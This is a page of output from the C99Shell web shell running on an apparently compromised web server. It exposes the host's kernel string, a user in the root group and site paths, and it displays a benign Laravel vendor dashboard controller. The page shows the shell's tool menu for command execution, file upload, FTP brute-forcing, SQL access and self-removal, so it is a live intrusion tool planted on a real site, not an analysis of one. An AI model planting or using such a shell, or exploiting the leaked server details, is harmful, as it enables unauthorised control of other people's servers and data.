!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Vendor/   drwxr-xr-x
Free 26.68 GB of 117.98 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Vendor;

use 
App\Http\Controllers\Controller;
use 
App\Http\Requests\Common\DashboardRequest;
use 
App\Services\Reports\VendorDashboardReportService;
use 
Illuminate\Support\Facades\Session;

class 
DashboardController extends Controller
{

    private 
$reportService;

    public function 
__construct(VendorDashboardReportService $reportService)
    {
        
$this->reportService $reportService;
    }


    
/**
     * Display a listing of the Over All Information on Vendor Dashboard.
     *
     * @return Dashboard page view
     */
    
public function index()
    {
        if (
config('martvill.is_demo')) {
            
Session::flash('info'__('Demo resets every 4 hours. Before purchasing, Feel free to test all the features. Some features are disabled in demo.'));
        }
        
        return 
view('vendor.dashboard'$this->reportService
            
->thisMonthOrdersCount()
            ->
thisMonthSalesCount()
            ->
newProductsCount()
            ->
newRefundsCount()
            ->
orderStatusWithCount()
            ->
salesOfTheMonth()
            ->
thisMonthOrdersCompare()
            ->
thisMonthSalesCompare()
            ->
thisMonthReviews()
            ->
thisMonthReviewCompare()
            ->
newProductsCountCompare()
            ->
newRefundsCountCompare()
            ->
walletBalances()
            ->
topSoldBrands()
            ->
getArray());
    }

    
/**
     * Get the most ordered products
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function mostSoldProducts(DashboardRequest $request)
    {
        return 
$this->response($this->reportService->mostSoldProducts()->get());
    }


    
/**
     * Get the most ordered products
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function mostActiveUsers(DashboardRequest $request)
    {
        return 
$this->reportService->mostActiveUsers()->getResponse();
    }


    
/**
     * Get vendor status
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function vendorStats(DashboardRequest $request)
    {
        return 
$this->reportService->vendorStats()->getResponse();
    }


    
/**
     * Get product details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function getProductData(DashboardRequest $request)
    {
        return 
$this->reportService->productDetails($request->uid)->getResponse();
    }


    
/**
     * Get user details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function getUserData(DashboardRequest $request)
    {
        return 
$this->reportService->userDetails($request->uid)->getResponse();
    }


    
/**
     * Get user details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function salesOfTheMonth(DashboardRequest $request)
    {
        return 
$this->reportService->salesOfTheMonth()->getResponse();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--